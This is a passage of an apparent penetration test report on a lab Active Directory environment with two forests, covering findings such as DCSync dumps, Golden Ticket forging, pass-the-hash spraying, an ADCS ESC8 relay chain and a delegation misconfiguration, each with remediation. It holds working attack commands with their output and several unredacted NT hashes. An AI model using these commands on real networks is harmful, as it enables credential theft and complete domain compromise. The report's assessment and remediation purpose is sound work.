SMB 10.3.10.13 445 VILLAGE Administrator:500:aad3b435b51404eeaad3b435b51404ee:f3124fb2[REDACTED]:::
SMB 10.3.10.13 445 VILLAGE krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ab5a4b4[REDACTED]:::
SMB 10.3.10.13 445 VILLAGE armorique.local\jesse:1131:aad3b435b51404eeaad3b435b51404ee:8a1d6442[REDACTED]:::
SMB 10.3.10.13 445 VILLAGE gMSA-obelix$:1129:aad3b435b51404eeaad3b435b51404ee:b5cacc5a[REDACTED]:::
SMB 10.3.10.13 445 VILLAGE VILLAGE$:1001:aad3b435b51404eeaad3b435b51404ee:d63cbc78ddb50200d1309132f223f297:::
SMB 10.3.10.13 445 VILLAGE [+] Dumped 33 NTDS hashes
cross-forest-pth-armorique.txtntds-full-dcsync-armorique-jesse.txtThe second AD forest in scope (armorique.local) is fully compromised, including its krbtgt and Administrator NT hashes. The architectural decision to isolate armorique.local from rome.local (no trust) was bypassed by a single operational decision (shared password on the jesse identity). All downstream consequences of F18 — Golden Ticket capability, full identity disclosure, irreversible-without-tier-0-reset — apply to armorique.local as well. The total scope of compromise is now both AD forests.
Immediate (0–7 days):
armorique.local\jesse to a long random unique value (separate from any rome.local\jesse reset value — see F19).armorique.local\krbtgt twice with replication between (F22).jesse in either forest — coordinate the reset to avoid an outage.Short-term (1–4 weeks):
rome.local-sourced identity authenticating against armorique.local should be a detection.Long-term (1–6 months):
Rating: Medium
CVSSv4 Score: 5.5
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:L/SI:N/SA:N
CWE: CWE-522 — Insufficiently Protected Credentials
MITRE ATT&CK: T1003.006 — OS Credential Dumping: DCSync
Affected hosts: VILLAGE (10.3.10.13) — gMSA stored in armorique.local
Location: armorique.local NTDS — gMSA-obelix$ (RID 1129)
The armorique.local NTDS dump (F20) contains the Group Managed Service Account gMSA-obelix$ with NT hash b5cacc5a[REDACTED]. gMSA secrets are derived from the KDS root key and rotate automatically on a 30-day cadence (default), with access nominally restricted to principals listed in msDS-GroupMSAMembership / PrincipalsAllowedToRetrieveManagedPassword. However, an attacker with DCSync rights (achieved in F20) bypasses the membership restriction by reading the secret directly from the directory's replication stream. The extracted hash remains a valid authentication credential for the gMSA until the next auto-rotation — up to 30 days of persistence on whatever service consumes the gMSA.
The gMSA entry was visible in the F20 NTDS dump alongside the regular user and computer accounts. The $ suffix on the sAMAccountName and the standard gMSA- prefix made the entry unambiguous; the RID 1129 places it in the normal user object range (not a machine account).
grep 'gMSA' /home/kali/.nxc/logs/ntds/VILLAGE_*.ntds
nxc smb /tmp/armo_hosts.txt -u 'gMSA-obelix$' -H b5cacc5a[REDACTED]
Relevant output line:
gMSA-obelix$:1129:aad3b435b51404eeaad3b435b51404ee:b5cacc5a[REDACTED]:::
gmsa-extract.txtThe gMSA represents a service-bound identity in armorique.local. Possession of the NT hash permits the attacker to authenticate as the service for up to 30 days (until auto-rotation), with whatever rights the service holds. In this engagement we did not exhaustively map the consuming service — the finding is documented as a persistence handle rather than an exploitation primitive in itself, but in a real-world breach response the gMSA's rotation should be forced immediately to invalidate the disclosed secret. The wider lesson: gMSA password auto-rotation does not protect against an attacker with DCSync rights — the secret is replicated to every DC and exfiltrated wholesale by DCSync. gMSA is a hygiene improvement for consuming services, not a security boundary against tier-0 compromise.
Immediate (0–7 days):
gMSA-obelix$ with Reset-ADServiceAccount -Identity gMSA-obelix$ (or by deleting and re-creating the gMSA if a soft rotation is not supported by the consuming service). This invalidates the disclosed NT hash at the next msDS-ManagedPassword fetch.Get-ADComputer -Filter * -Properties msDS-HostServiceAccount for the armorique.local forest) and confirm the rotation propagated.Short-term (1–4 weeks):
Replicating Directory Changes GUID — DCSync from a non-DC source should always alert.Long-term (1–6 months):
Rating: Critical
CVSSv4 Score: 9.8
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE: CWE-303 — Incorrect Implementation of Authentication Algorithm (Kerberos TGT integrity assumption violated)
MITRE ATT&CK: T1558.001 — Steal or Forge Kerberos Tickets: Golden Ticket
Affected hosts: BABAORUM (10.3.10.10), VILLAGE (10.3.10.13) — and every host in both forests
Location: Kerberos KDC infrastructure on both DCs
The krbtgt account NT hash is the symmetric key that the Key Distribution Center (KDC) uses to sign and encrypt every Ticket-Granting Ticket (TGT) in a forest. Possession of the krbtgt hash permits an attacker to forge arbitrary TGTs — for any user, with any group membership, for any lifetime up to the configured maximum (default 10 hours, but Mimikatz / Rubeus default to 10 years). The resulting "Golden Ticket" bypasses every downstream authentication control: password reset, account disable, MFA, smart card requirement — none affect the validity of a forged TGT because the KDC validates the signature against the key it knows, and the attacker knows the same key.
This engagement captured the krbtgt NT hash for both in-scope forests:
rome.local\krbtgt NT = ddc194ba[REDACTED] (from F18)armorique.local\krbtgt NT = 3ab5a4b4[REDACTED] (from F20)Both krbtgt hashes were extracted from the full NTDS dumps captured during F18 and F20 — DCSync replicates every object's secret material including the krbtgt key. The capability was validated by forging a proof-of-concept Golden Ticket for Administrator@rome.local and using it to authenticate against BABAORUM via Kerberos.
impacket-ticketer -nthash ddc194ba[REDACTED] \
-domain-sid S-1-5-21-... \
-domain rome.local \
Administrator
export KRB5CCNAME=Administrator.ccache
nxc smb 10.3.10.10 -u Administrator -k --use-kcache
Relevant output lines:
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for rome.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] Saving ticket in Administrator.ccache
SMB 10.3.10.10 445 BABAORUM [+] rome.local\Administrator (Pwn3d!) (Kerberos)
krbtgt-both-forests.txtPersistent Domain Admin in both forests for up to 10 years — independent of every other credential reset, every account disable, and every membership change. Until the krbtgt password is rotated twice in each forest (with full replication between rotations), the attacker holds an authentication primitive that cannot be revoked by any other control. This is the highest-impact persistence primitive available in Active Directory, and it now applies to both in-scope forests simultaneously.
Immediate (0–7 days):
Rotate krbtgt twice in each forest, with full domain replication between the two rotations. Microsoft publishes a sanctioned script (New-KrbtgtKeys.ps1) but the manual procedure is:
```powershell Reset-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid) -Force) Get-ADReplicationPartner -Target (Get-ADDomainController).Hostname | ForEach-Object { Sync-ADObject -Object (Get-ADUser krbtgt) -Source $_.Server -Destination (Get-ADDomainController).Hostname }
Reset-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid) -Force) ```
Reset every Domain Admin and Enterprise Admin password in both forests as a concurrent step (the krbtgt rotation does not invalidate the captured DA hashes — F18 / F20 / F19).
Short-term (1–4 weeks):
Long-term (1–6 months):
msDS-SupportedEncryptionTypes on every Domain Admin and machine account.Rating: Informational CVSSv4 Score: 0.0 (methodology / breadth-of-impact mapping) CVSSv4 Vector: not applicable — observational finding CWE: N/A — methodology finding MITRE ATT&CK: T1110.002 — Brute Force: Password Cracking (use of recovered hashes for validation) Affected hosts: BABAORUM (10.3.10.10), METRONUM (10.3.10.11), REFERENDUM (10.3.10.12), VILLAGE (10.3.10.13) Location: SMB/445 across the four AD hosts
After the full NTDS dump (F18), the assessor used the extracted user/NT-hash pairs as a paired credential list and ran a pass-the-hash spray against every in-scope AD host to enumerate where each credential is local administrator. This is a methodology / breadth-of-impact observation — not a new vulnerability per se, but a quantification of how far the credentials in F18 and F20 reach. The sweep confirms:
jesse, jesse2, and the built-in Administrator are local administrator on every rome.local host (BABAORUM, METRONUM, REFERENDUM).musculus is local administrator on METRONUM only (consistent with F12).jesse is local administrator on VILLAGE via cross-forest PtH (consistent with F20).localuser Pwn3d! hits are excluded from the finding — that account is the operator build account and is out of scope per project memory.The extraction and spray were a single workflow: pair users.txt with hashes.txt line-for-line from the NTDS, run domain-auth PtH (--no-bruteforce), then collect every (Pwn3d!) marker.
# Extract user/hash pairs from NTDS
awk -F: 'NF>=4 && $1 !~ /\$$/ {sub(/^.*\\/,"",$1); print $1}' /tmp/rome.ntds > /tmp/users.txt
awk -F: 'NF>=4 && $1 !~ /\$$/ {print $4}' /tmp/rome.ntds > /tmp/hashes.txt
# Paired PtH spray, no bruteforce, capture pwn3d markers
nxc smb /tmp/lehack_targets.txt -u /tmp/users.txt -H /tmp/hashes.txt --no-bruteforce | grep Pwn3d
Relevant output lines (excluding localuser per project memory):
SMB 10.3.10.10 445 BABAORUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!)
SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!)
SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!)
SMB 10.3.10.11 445 METRONUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!)
SMB 10.3.10.11 445 METRONUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!)
SMB 10.3.10.11 445 METRONUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!)
SMB 10.3.10.11 445 METRONUM [+] rome.local\musculus:c6f7c388[REDACTED] (Pwn3d!)
SMB 10.3.10.12 445 REFERENDUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!)
SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!)
SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!)
SMB 10.3.10.13 445 VILLAGE [+] armorique.local\jesse:8a1d6442[REDACTED] (Pwn3d!) [cross-forest, F20]
pth-validation-from-ntds.txtpth-spray-from-ntds.txtThe sweep does not introduce a new vulnerability — it quantifies the breadth of the existing F18 / F20 disclosures. The practical takeaway: after a single DCSync, the attacker holds local administrator on every Windows host in scope across both forests via paired PtH alone, with no further cracking, coercion, or escalation required. This is the operational reality that justifies the tier-0 reset called out in F18 and F20.
This is a methodology finding — the remediation is the union of the remediation items in F18, F19, F20, and F22 (tier-0 reset across both forests). No additional control surface is introduced by F23.
Rating: Informational CVSSv4 Score: 0.0 (methodology / breadth-of-impact mapping) CVSSv4 Vector: not applicable — observational finding CWE: N/A — methodology finding MITRE ATT&CK: T1110.004 — Brute Force: Credential Stuffing (paired re-use of recovered hashes) Affected hosts: BABAORUM (10.3.10.10), METRONUM (10.3.10.11), REFERENDUM (10.3.10.12), VILLAGE (10.3.10.13) Location: SMB/445 across the four AD hosts
F24 is the consolidated paired PtH validation sweep using the full user+hash list extracted from the F18 NTDS dump (37 paired entries) against every in-scope AD host. F23 documented the conceptual sweep; F24 documents the executed, filtered, deliverable-grade output with localuser rows removed per project memory (the localuser SID-1000 account is the operator build account and is out of scope for the engagement). The remaining Pwn3d! markers are the operationally-relevant breadth-of-impact map: which recovered credentials confer local administrator on which hosts, including the cross-forest hop to VILLAGE.
This is a methodology finding, not a new vulnerability. It exists as a separate finding from F23 because the filtered list is the version that goes into the deliverable, and the operator needs an explicit reference to the redaction decision.
The extraction and spray reuse the F23 workflow. The new step is the post-filter that strips the two localuser Pwn3d! rows (rome.local SID-1000 on every rome.local host; armorique.local SID-1000 on VILLAGE) before the result lands in the writeup.
# Same extraction as F23
awk -F: 'NF>=4 && $1 !~ /\$$/ {sub(/^.*\\/,"",$1); print $1}' /tmp/rome.ntds > /tmp/users.txt
awk -F: 'NF>=4 && $1 !~ /\$$/ {print $4}' /tmp/rome.ntds > /tmp/hashes.txt
# Paired domain-auth PtH spray
nxc smb /tmp/lehack_targets.txt \
-u /tmp/users.txt -H /tmp/hashes.txt --no-bruteforce \
| grep 'Pwn3d!' \
| grep -v 'localuser' # operator build account, out of scope per project memory
Filtered Pwn3d! hits (the operationally-relevant set):
SMB 10.3.10.10 445 BABAORUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!)
SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!)
SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!)
SMB 10.3.10.11 445 METRONUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!)
SMB 10.3.10.11 445 METRONUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!)
SMB 10.3.10.11 445 METRONUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!)
SMB 10.3.10.11 445 METRONUM [+] rome.local\musculus:c6f7c388[REDACTED] (Pwn3d!)
SMB 10.3.10.12 445 REFERENDUM [+] rome.local\Administrator:52e6c515[REDACTED] (Pwn3d!)
SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jesse2:39aa7ac6[REDACTED] (Pwn3d!)
SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jesse:8a1d6442[REDACTED] (Pwn3d!)
SMB 10.3.10.13 445 VILLAGE [+] armorique.local\jesse:8a1d6442[REDACTED] (Pwn3d!) # cross-forest, F20
Domain-wide breadth summary (informational):
| Credential | BABAORUM | METRONUM | REFERENDUM | VILLAGE |
|---|---|---|---|---|
rome.local\Administrator |
Pwn3d! | Pwn3d! | Pwn3d! | — |
rome.local\jesse |
Pwn3d! | Pwn3d! | Pwn3d! | — |
rome.local\jesse2 |
Pwn3d! | Pwn3d! | Pwn3d! | — |
rome.local\musculus |
— | Pwn3d! | — | — |
armorique.local\jesse (PtH from rome) |
— | — | — | Pwn3d! |
pth-validation-domain-wide.txtlocaluser rows): pth-spray-from-ntds.txtSame as F23: the sweep quantifies the operational reach of the F18 + F20 disclosures. Post-DCSync the attacker holds local administrator on every Windows host in scope across both forests via paired PtH, with no further work. The filtering note is for engagement-deliverable cleanliness only — the underlying reality is unchanged.
Methodology finding. The remediation is the union of F18, F19, F20, F22, and F28 (tier-0 reset across both forests, plus the gMSA-obelix$ ACL fix). F24 does not introduce a new remediation item.
Rating: Critical
CVSSv4 Score: 9.5
CVSSv4 Vector: CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE: CWE-295 — Improper Certificate Validation (NTLM relay accepted by HTTP CertSrv)
MITRE ATT&CK: T1649 — Steal or Forge Authentication Certificates; T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Affected hosts: VILLAGE (10.3.10.13) — ARMORIQUE-CA enterprise certificate authority
Location: ADCS — http://village.armorique.local/certsrv/certfnsh.asp
The Active Directory Certificate Services enterprise CA ARMORIQUE-CA on VILLAGE exposes the Certificate Services Web Enrollment endpoint over HTTP (HTTPS:False), and the default Authenticated Users group holds the Enroll right. Combined with the SMB / LDAP signing-not-required posture across the rest of the estate (F02) and the LDAP channel-binding gap on VILLAGE itself (F03), this is a textbook ADCS ESC8 chain: any in-scope attacker who can coerce a privileged machine account to authenticate (PetitPotam / PrinterBug / DFSCoerce / Shadow Credentials) relays that authentication into /certsrv/certfnsh.asp, requests a certificate for the relayed identity, and uses the resulting certificate with PKINIT to obtain a TGT — directly enabling DCSync or S4U2Self-driven impersonation. The chain bypasses every NTLM-only defense and yields full armorique.local forest compromise from an unauthenticated foothold.
For scope clarity, rome.local has no ADCS — pKIEnrollmentService object count in the rome.local Configuration container is zero. The ESC8 surface is restricted to armorique.local / VILLAGE / ARMORIQUE-CA.
We ran certipy-ad find -vulnerable authenticated as armorique.local\prolix (using the NT hash recovered from the F18 NTDS dump via the F19 cross-forest reuse). The expectation was either "no CA in scope" or "CA hardened to HTTPS-only"; the result was the worst-case ESC8 banner.
certipy-ad find \
-u prolix@armorique.local \
-hashes :8b021e211dd5ea7682c62d7ee030981a \
-dc-ip 10.3.10.13 \
-vulnerable -enabled
Relevant output (Certificate Authority section):
Certificate Authorities
0
CA Name : ARMORIQUE-CA
DNS Name : village.armorique.local
Certificate Subject : CN=ARMORIQUE-CA, DC=armorique, DC=local
Web Enrollment
HTTP
Enabled : True
Channel Binding : Disabled
HTTPS
Enabled : False
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Access Rights
Enroll : ARMORIQUE.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP. \
Web enrollment is vulnerable to NTLM relay attacks.
The exploitation chain is canonical (documented, not fired end-to-end during this engagement — dual-forest compromise had already been achieved via F18/F20 and the gMSA path of F28):
# 1. Stage relay listener pointed at the CertSrv HTTP endpoint
impacket-ntlmrelayx -t http://village.armorique.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 2. Coerce a privileged machine account to authenticate to the relay
coercer coerce -u prolix -hashes :8b021e211dd5ea7682c62d7ee030981a \
-t 10.3.10.13 -d armorique.local -l 10.3.10.99
# or PetitPotam / DFSCoerce / PrinterBug
# 3. The relay accepts coerced auth as VILLAGE$ and enrolls a cert from CertSrv
# 4. PKINIT with the recovered machine cert -> TGT as VILLAGE$ -> DCSync
certipy-vulnerable-find.txtESC8 is a complete compromise primitive on its own — any authenticated user (or anyone who can poison name resolution onto an authenticating Windows host) reaches Domain Admin in armorique.local without ever needing to crack a password or escalate locally. The chain composes with every other ESC* primitive Certipy enumerates and with every coercion technique in the Impacket suite. Even after the F18 / F20 / F28 disclosures are fully remediated (tier-0 reset, gMSA-obelix$ ACL fix, jesse separation), F25 remains a one-shot path to forest compromise until Web Enrollment is restricted. It is therefore Critical and remains so independently of the other findings.
Immediate (0–7 days):
Disable HTTP Web Enrollment on ARMORIQUE-CA. Either uninstall the Certification Authority Web Enrollment role outright (preferred — most environments do not need it), or restrict it to HTTPS with Extended Protection for Authentication ("Channel Binding") enabled:
```powershell
Import-Module WebAdministration Set-WebConfigurationProperty -Filter '/system.webServer/security/authentication/windowsAuthentication' ` -Name 'extendedProtection.tokenChecking' -Value 'Require' -PSPath 'IIS:\Sites\Default Web Site\CertSrv'
Remove-WebBinding -Name 'Default Web Site' -Protocol http -Port 80 ```
Restrict the Enroll right on ARMORIQUE-CA to a controlled group rather than Authenticated Users. ADCS does not require Authenticated Users on the CA itself for ordinary enrollment to function — templates carry their own per-template ACLs.
Short-term (1–4 weeks):
find -vulnerable sweep against every CA in every in-scope forest. ESC8 is rarely the only ESC* present.Long-term (1–6 months):
Rating: Medium
CVSSv4 Score: 6.5
CVSSv4 Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE: CWE-269 — Improper Privilege Management (incoherent combination of delegation rights and Protected Users membership)
MITRE ATT&CK: T1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting; T1134.005 — Access Token Manipulation: Delegation
Affected hosts: VILLAGE (10.3.10.13) — armorique.local\alambix
Location: Active Directory — CN=alambix,CN=Users,DC=armorique,DC=local
armorique.local\alambix is configured with constrained delegation with protocol transition (the "trusted to authenticate for delegation" flag, TRUSTED_TO_AUTH_FOR_DELEGATION, set on userAccountControl = 0x1010240) and msDS-AllowedToDelegateTo populated with CIFS/armorique and CIFS/armorique.armorique.local. In isolation this is a one-shot path to forest compromise: any attacker holding alambix's password or AES key can use impacket-getST to perform S4U2Self followed by S4U2Proxy, impersonating any domain user (including Administrator) to the CIFS service on the DC itself — yielding DCSync.
The configuration is rescued from Critical to Medium by a single coexisting setting: alambix is also a member of Protected Users. Protected Users imposes three relevant restrictions: NTLM is blocked for the member, RC4 and DES Kerberos encryption types are blocked, and (most importantly here) the KDC issues a non-forwardable TGT for the member. S4U2Proxy requires a forwardable TGT — the request fails with KDC_ERR_BADOPTION ("initial TGT not forwardable"). The misconfiguration is therefore neutralized by defense-in-accident, not by intent. Either the delegation should be removed (if Protected Users is intended) or the Protected Users membership should be removed (if delegation is intended) — the combination is incoherent, and a future change in either direction makes the chain immediately exploitable.
A sub-finding worth flagging: Kerberoast of alambix's SPN still succeeds despite Protected Users membership. Protected Users blocks alambix from using RC4 for its own pre-authentication, but does not prevent the KDC from issuing an RC4-HMAC TGS-REP encrypted with alambix's own NT key when another principal (prolix in this case) requests a service ticket to alambix's SPN. This is well-documented Kerberos behaviour but is sometimes assumed away by operators reading the Protected Users docs.
Authenticated LDAP enumeration as prolix (NT hash from F18 → F19) surfaced the delegation flags and SPN on alambix. The Protected Users membership was visible in memberOf. We then walked the S4U2Self + S4U2Proxy chain end-to-end with three different authentication primitives to confirm exactly which control blocks which step.
# Enumerate the delegation config
ldapsearch -x -H ldap://10.3.10.13 -D 'prolix@armorique.local' \
-w '<RC4-blocked>' \
-b 'DC=armorique,DC=local' '(sAMAccountName=alambix)' \
userAccountControl msDS-AllowedToDelegateTo memberOf servicePrincipalName
# Chain attempts (3 paths):
# [1] NTLM auth as alambix
nxc smb 10.3.10.13 -u alambix -H 14954b5f7f824d45c5ce4a68e7a4eb3c -d armorique.local
# -> STATUS_ACCOUNT_RESTRICTION (Protected Users blocks NTLM)
# [2] RC4 Kerberos pre-auth as alambix
impacket-getTGT -hashes :14954b5f7f824d45c5ce4a68e7a4eb3c \
armorique.local/alambix -dc-ip 10.3.10.13
# -> KDC_ERR_ETYPE_NOSUPP (Protected Users blocks RC4)
# [3] AES256 Kerberos pre-auth as alambix (key recovered from F20 armorique NTDS)
impacket-getTGT -aesKey <alambix-AES256-from-NTDS> \
armorique.local/alambix -dc-ip 10.3.10.13
# -> TGT obtained
# S4U2Self + S4U2Proxy with the AES TGT
export KRB5CCNAME=alambix.ccache
impacket-getST -k -no-pass \
-spn CIFS/armorique.armorique.local \
-impersonate Administrator \
armorique.local/alambix -dc-ip 10.3.10.13
# -> KDC_ERR_BADOPTION ('Initial TGT not forwardable')
# Protected Users issues non-forwardable TGTs -> S4U2Proxy fails.
# Sub-finding: Kerberoast of alambix's SPN as prolix
impacket-GetUserSPNs armorique.local/prolix -hashes :8b021e211dd5ea7682c62d7ee030981a \
-dc-ip 10.3.10.13 -request -outputfile kerberoast.txt
# -> RC4-HMAC TGS-REP for CIFS/aleem.armorique.local returned
Relevant LDAP fields on alambix:
sAMAccountName : alambix
userAccountControl : 0x1010240 (NORMAL_ACCOUNT | DONT_REQ_PREAUTH |
TRUSTED_TO_AUTH_FOR_DELEGATION)
msDS-AllowedToDelegateTo : CIFS/armorique
CIFS/armorique.armorique.local
servicePrincipalName : CIFS/aleem.armorique.local
memberOf : CN=Protected Users,CN=Users,DC=armorique,DC=local
(plus functional groups)
alambix-delegation-and-protected-users.txtprolix-kerberoast-alambix.txtalambix-kerberos-auth.txtIn its current state, the configuration is exploitable only by an attacker who already holds the armorique.local\krbtgt hash (and can therefore forge a forwardable TGT regardless of Protected Users restrictions) — which is a superset of what F22 already provides. However, the configuration becomes immediately exploitable by anyone holding alambix's AES key the moment Protected Users membership is removed for any reason (Kerberos compatibility issue, accidental cleanup, group restructuring). Because Protected Users is sometimes removed during incident response or admin uplift, this is a latent landmine: a single forward step in normal AD administration could surface forest compromise. Medium rating reflects the current non-exploitability combined with the high-impact, easy-to-trip latency.
Immediate (0–7 days):
Resolve the incoherence. Pick one of the following — do not leave both in place:
Remove the delegation (recommended default): clear msDS-AllowedToDelegateTo and unset the TRUSTED_TO_AUTH_FOR_DELEGATION flag on alambix. Verify with Get-ADUser alambix -Properties msDS-AllowedToDelegateTo,TrustedToAuthForDelegation.
powershell
Set-ADAccountControl -Identity alambix -TrustedToAuthForDelegation $false
Set-ADUser -Identity alambix -Clear msDS-AllowedToDelegateTo
Remove the Protected Users membership (only if a legitimate delegation use case is documented): Remove-ADGroupMember -Identity 'Protected Users' -Members alambix. Note this re-enables NTLM and RC4 for alambix and makes the S4U2Proxy chain immediately exploitable to anyone holding alambix's password or AES key — so this option requires aggressive password hygiene and is rarely justified.
Audit every other principal in armorique.local for the same incoherent combination:
powershell
Get-ADUser -LDAPFilter '(&(userAccountControl:1.2.840.113556.1.4.803:=16777216)(memberOf=CN=Protected Users,CN=Users,DC=armorique,DC=local))' `
-Properties userAccountControl, msDS-AllowedToDelegateTo, memberOf
Short-term (1–4 weeks):
alambix regardless of which option is chosen above. The AES256 key is captured in the F20 NTDS dump, so it is already known to the engagement.TRUSTED_TO_AUTH_FOR_DELEGATION set in either forest. Each should be justified, documented, and re-reviewed quarterly.Long-term (1–6 months):
CIFS/armorique impersonation — to either a gMSA (with PrincipalsAllowedToDelegateToAccount on the target rather than msDS-AllowedToDelegateTo on the source) or to resource-based constrained delegation (RBCD). RBCD inverts the trust direction and removes the protocol-transition primitive entirely.msDS-SupportedEncryptionTypes = 0x1c). With RC4 disabled at the KDC level, the Kerberoast sub-finding is also closed because the TGS-REP is then issued in AES, which is computationally infeasible to crack offline against a long random password.Rating: Informational
CVSSv4 Score: 0.0 (negative result documented for methodology completeness)
CVSSv4 Vector: not applicable — observational finding
CWE: N/A — methodology finding (the corresponding bad finding would be CWE-256 / CWE-552)
MITRE ATT&CK: T1083 — File and Directory Discovery; T1552.001 — Unsecured Credentials: Credentials in Files
Affected hosts: VILLAGE (10.3.10.13)
Location: SMB shares — \\VILLAGE\CertEnroll, \\VILLAGE\NETLOGON, \\VILLAGE\SYSVOL
A standard SYSVOL / NETLOGON / share-spider sweep was performed as armorique.local\alambix via Kerberos authentication (impacket ccache + DNS shim to bypass the nxc DNS dependency — see alambix-kerberos-auth.txt). The intent was to surface any of the usual Groups.xml cpassword, Registry.xml AutoLogon, login-script embedded credentials, or freeform notes in SYSVOL. Nothing was found. This is captured as an Informational finding because (a) the absence of a positive result still needs to be documented for engagement completeness, and (b) the cleanliness is itself notable in a CTF context where SYSVOL is usually loaded with bait or genuine misconfigurations.
The corresponding positive finding — if any of the SYSVOL credentials had existed — would have been classified as CWE-256 (Plaintext Storage of a Password) or CWE-552 (Files or Directories Accessible to External Parties) and rated Critical depending on the principal exposed. The absence is therefore meaningful as a Summary-of-Strengths bullet.
Spider of every readable share, Kerberos-authenticated:
KRB5CCNAME=/tmp/alambix.ccache \
python3 nxc_kerberos_wrapper.py smb village.armorique.local \
-k --use-kcache --shares
# Listable: ADMIN$ (denied), C$ (denied), CertEnroll, IPC$, NETLOGON, SYSVOL
# Spider every readable share
KRB5CCNAME=/tmp/alambix.ccache \
python3 nxc_kerberos_wrapper.py smb village.armorique.local \
-k --use-kcache -M spider_plus -o DOWNLOAD_FLAG=true
# Targeted GPP / autologin modules
nxc smb 10.3.10.13 -u alambix -k --use-kcache -M gpp_password
nxc smb 10.3.10.13 -u alambix -k --use-kcache -M gpp_autologin
Spider result (consolidated):
Share Path Size Notes
CertEnroll /village.armorique.local_ARMORIQUE-CA.crt ~1.6 KiB CA root cert
CertEnroll /village.armorique.local_ARMORIQUE-CA(1).crt ~1.6 KiB duplicate
CertEnroll /nsrev.asp 0 B
CertEnroll /certnew.cer ~1.5 KiB CertSrv asset
NETLOGON (empty) 0 B
SYSVOL /armorique.local/Policies/{31B2F340-...}/GPT.INI ~ 60 B stock default-domain GPO
SYSVOL /armorique.local/Policies/{6AC1786C-...}/GPT.INI ~ 60 B stock default-DC GPO
SYSVOL /armorique.local/Policies/{31B2F340-...}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf ~ 1.4 KiB stock template
SYSVOL /armorique.local/Policies/{6AC1786C-...}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf ~ 1.4 KiB stock template
SYSVOL /armorique.local/hFArTpRIzC.txt 0 B bait file at SYSVOL root
Targeted module output:
SMB 10.3.10.13 445 VILLAGE [-] gpp_password: no Groups.xml / Services.xml / ScheduledTasks.xml / Printers.xml / Drives.xml
SMB 10.3.10.13 445 VILLAGE [-] gpp_autologin: no Registry.xml with AutoAdminLogon
alambix-share-spider.txtalambix-kerberos-recon.txtNo direct impact from F27 itself. The finding records a closed attack avenue and supports a Summary-of-Strengths bullet: the armorique.local SYSVOL hygiene is unusually clean for a CTF environment. In a real-world engagement this absence still warrants documentation — operators reviewing the report should know that SYSVOL was checked and was clean rather than assuming it was skipped.
No remediation required. Maintain current SYSVOL hygiene; periodically re-audit with Get-ChildItem -Recurse \\<dc>\SYSVOL -Include Groups.xml,Registry.xml,Services.xml,Drives.xml,ScheduledTasks.xml,Printers.xml,*.bat,*.cmd,*.ps1.
Rating: Critical
CVSSv4 Score: 9.8
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE: CWE-269 — Improper Privilege Management (DCSync rights on a non-DC service account); CWE-732 — Incorrect Permission Assignment for Critical Resource (PrincipalsAllowedToRetrieveManagedPassword on a regular user)
MITRE ATT&CK: T1003.006 — OS Credential Dumping: DCSync; T1078.003 — Valid Accounts: Local Accounts (gMSA misuse)
Affected hosts: VILLAGE (10.3.10.13) — and every armorique.local-joined host via the recovered Administrator / krbtgt hashes
Location: CN=gMSA-obelix$,CN=Managed Service Accounts,DC=armorique,DC=local; armorique.local domain root DACL
Two stacked over-delegations on a low-privilege Protected-Users-bound regular user (alambix) yield total armorique.local forest compromise in two BloodHound edges — without admin uplift, without cross-forest dependency, and without touching rome.local. Executed end-to-end during the engagement:
Hop 1 — ReadGMSAPassword over-delegation. alambix holds ReadGMSAPassword on gMSA-obelix$. The PrincipalsAllowedToRetrieveManagedPassword attribute should be a tier-1 admin group or the consuming computer object (e.g., the IIS host running the CertSrv vhost). Instead, the regular user alambix is listed alongside ARMORIQUE.LOCAL\Administrators. With ReadGMSAPassword, alambix can fetch the current msDS-ManagedPassword blob and derive the gMSA's current NT hash directly from LDAP — no crack, no rotation wait.
